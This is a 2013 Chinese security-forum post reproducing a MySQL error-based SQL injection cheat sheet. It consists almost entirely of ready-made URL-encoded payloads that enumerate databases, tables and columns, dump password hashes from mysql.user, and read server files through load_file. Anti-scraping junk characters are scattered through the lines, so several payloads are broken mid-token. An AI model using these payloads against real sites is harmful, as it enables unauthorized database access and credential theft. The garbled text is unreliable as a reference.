找回密码
 立即注册
查看: 2663|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 % \, M$ [+ J$ r' r" O7 |

/ s; f8 ~+ j) p2 G5 Q7 E/ `2 t7 H# j6 }2 t* S. N
Mysql暴错注入参考(pdf),每天一贴。。。
( ^; V8 R8 g. l# Y, f
7 v) B) V$ c( ?MySql Error Based Injection Reference
' v. d$ i: [2 R! Q# b[Mysql暴错注入参考]9 a" f5 K; q1 z3 u
Authornig0s1992
' w* R. u+ a+ }- ?Blog:http://pnig0s1992.blog.51cto.com/
% |8 g) W+ k- c. ]# K% ZTeAm:http://www.FreeBuf.com/+ R% n5 `( X/ V# l8 f7 T; Z
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功% B; ]" G# V" B$ W! V2 w: J
小部分版本使用name_const()时会报错.可以用给出的Method.2测试' s8 W# _2 ]- `( G+ C( j: m5 i' p8 ^
查询版本:8 _% |6 G/ t. J7 r* A$ x. S4 M$ U1 L' m
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+0 A$ D3 c# l# J" O
join+(select+name_const(@@version,0))b)c)4 M" ^8 D6 U, t4 t; Q7 P& x; {
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro. |( F" J( l6 z% g2 r
up by a)b)2 N2 S) {) T1 W1 \
查询当前用户:
7 w# W. z" n; z: g8 vMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
7 F. z; }5 [3 R; ZMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r! i% x! g0 D7 e. C
and(0)*2))x+from+information_schema.tables+group+by+x)a)
' I# t* [' O7 a" a查询当前数据库:
9 P; g6 V8 p3 J6 }  S$ P: J: OMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
4 k5 u$ z6 f3 h: k7 G& @7 nMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
7 D- R, a+ L* b# i3 uor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)  F4 Y; {: J$ f. [/ Z8 C
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
, w' J5 Z% T$ j) m/ {& yLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n7 L# j: G2 M4 o4 R, x
顺序替换
- h! P  {4 E; A9 i2 ?4 t; c爆指定库数目:
" H: {2 B  E+ l5 oand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t& f" \/ o+ b" O7 Q; J
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
/ H4 l  p6 N7 r! H3 ]+by+x)a)+and+1=1 0x6D7973716C=mysql
+ S, V- f# v% j7 j2 W5 r$ W; J依次爆表:
! u$ G0 B2 T5 O& j( land+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
$ b0 m+ B4 e* D! h* m) e! gable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta3 G% P( j, v' g# r2 O7 a2 d7 C
bles+group+by+x)a)+and+1=1* h* o6 m8 J7 w4 ]
0x6D7973716C=Mysql 将n顺序替换
& V! O* I! t) d' Z5 N- k& p3 H爆表内字段数目:
' n1 d( d8 Q! g" b/ T2 {and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
  C, d7 A. e8 ^1 J1 H, L1 t9 V+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
. X  W: H2 V+ G# z% V" e0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1, `$ m: u$ T) r. K
依次爆字段:- a! p6 U& n/ O/ |& E
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where% f0 O- A" g: L3 E1 _
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
  o+ {: c8 h) D$ J) ]! |loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
$ x% D+ |! _- y  v- C1 a依次暴内容:
0 V/ S3 o4 E" D( _$ A5 P, f' h  q* ]( jand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche! k0 y# Q% }$ m
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
3 O5 E4 R% o4 d, M将n顺序替换
+ i6 E8 Q! p9 f. B3 o' `7 \6 O0 `爆文件内容:8 u" V1 d# ]. T# T3 u5 @
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a- o, \- o! t* y4 W" B3 h  M4 s" v9 W
from+information_schema.tables+group+by+a)b) ( F! J' W" }& |9 P
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
; U& p6 k, J0 \9 O; g( G4 F% B& mThx for reading.- u4 e( E7 D; J- b$ V' v' u0 R

' u% J; C& c0 Y" E- r  _$ j! K不要下载也可以,
6 m8 I* q+ o0 _8 n, N+ B" W" U  O

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表